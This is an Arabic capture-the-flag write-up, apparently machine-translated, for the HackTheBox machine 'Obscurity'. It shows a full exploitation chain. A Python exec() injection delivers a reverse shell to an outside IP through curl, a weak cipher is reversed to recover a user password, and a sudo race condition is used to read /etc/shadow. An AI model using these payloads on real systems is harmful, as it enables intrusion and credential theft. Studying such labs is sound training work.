أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .في هذه المقالة ، نستغل الثغرة الأمنية في كود الثعبان ونقوم أيضًا بهجوم حالة السباق.يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من جهاز كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة لك ، نظرًا لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)المعلومات التنظيمية, ,
Telegram . , ,
.
. , - , .
ريكون
يحتوي هذا الجهاز على عنوان IP 10.10.10.168 ، والذي أضيفه إلى / etc / hosts.10.10.10.168 obscurity.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.nmap -A obscurity.htb -p22,8080
يقوم المضيف بتشغيل خدمة SSH وخادم الويب. نذهب لمشاهدة الويب.
وهكذا لدينا:- خادم التسجيل
- يستخدم التشفير
- رمز الخادم في ملف SuperSecureServer.py في دليل غير معروف.
نظرًا لأننا نعرف اسم الملف ، فلنستعرض الدليل. دعونا نفعل ذلك مع wfuzz. كمعلمة ، نقوم بتمرير القاموس وعنوان URL ورمز الاستجابة ليتم تجاهله.wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
ونجد هذا الدليل. لنقم بتنزيل رمز الخادم.wget http://obscurity.htb:8080/develop/SuperSecureServer.py
نقطة الدخول
نفتح ونحلل الخادم. نجد استخدامًا خطيرًا محتملًا لوظيفة exec ().
دعنا نضيف بعض الأسطر إلى الرمز.
حتى نتمكن من بدء الخادم محليًا ومعرفة ما يدخل في وظيفة exec (). لنبدأ الخادم ونرسل طلبًا.curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"
وبالتالي ، لدينا إدخال أمر OS.curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
سوف نستخدم قذيفة الثعبان العكسي التالية.import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
نظرًا لأن رمز الخادم يحتوي بالفعل على استيراد الوحدات الضرورية ، فإننا نزيل استيرادها من الغلاف. نهرب أيضًا من علامات الاقتباس والأقواس المربعة.curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
غرامة! كل شيء يعمل على الجهاز المحلي. دعنا ننفذ هذا الطلب إلى الخادم.curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
لدينا نقطة دخول.المستعمل
نحن نبحث في الخادم ونجد ملفات قابلة للقراءة في الدليل الرئيسي للمستخدم.
نقرأ الملفات.
وبالتالي ، يتم تشفير الملفات. قم بتنزيل كل ما نقدمه للمضيف المحلي. كما هو مذكور في الرسالة ، يتم تشفير ملف check.txt ، وتكون النتيجة في out.txt. دعونا نرى الخوارزمية.
وهكذا ، أثناء التشفير ، تتم إضافة رمز النص ورمز المفتاح المعياري 255. عند فك التشفير ، يتم طرح هذه الرموز.بمعنى ، ([check.txt] + [key])٪ 255 = out.txt و ([out.txt] - [key])٪ 255 = check.txt. ثم ([out.txt] - [check.txt])٪ 255 = المفتاح.
وإلقاء نظرة على المفتاح.
والآن على هذا المفتاح نقوم بفك تشفير كلمة مرور المستخدم.
نقوم بالاتصال عبر SSH بكلمة المرور هذه ونأخذ علامة المستخدم.
جذر
دعونا نلقي نظرة على إعدادات sudo ، أي ما إذا كان يمكن للمستخدم تنفيذ أي أوامر تحت sudo بدون كلمة مرور.
دعنا نرى الرمز. سيتطلب الرمز بيانات المصادقة. ثم ينسخ محتويات ملف / etc / shadow إلى الدليل / tmp / SSH / *. ثم سيتم التحقق من بيانات المصادقة وحذف الملف.
وبالتالي ، يجب أن نتمكن من نسخ الملف من / tmp / SSH / * قبل حذفه. تشغيل المحطة الطرفية الثانية وتنفيذ دورة قراءة لا نهاية لها فيه.for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
الآن قم بتشغيل البرنامج ، وأدخل أي بيانات وشاهد التجزئة.sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
وكسر بسهولة.
نأخذ علم الجذر.
يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.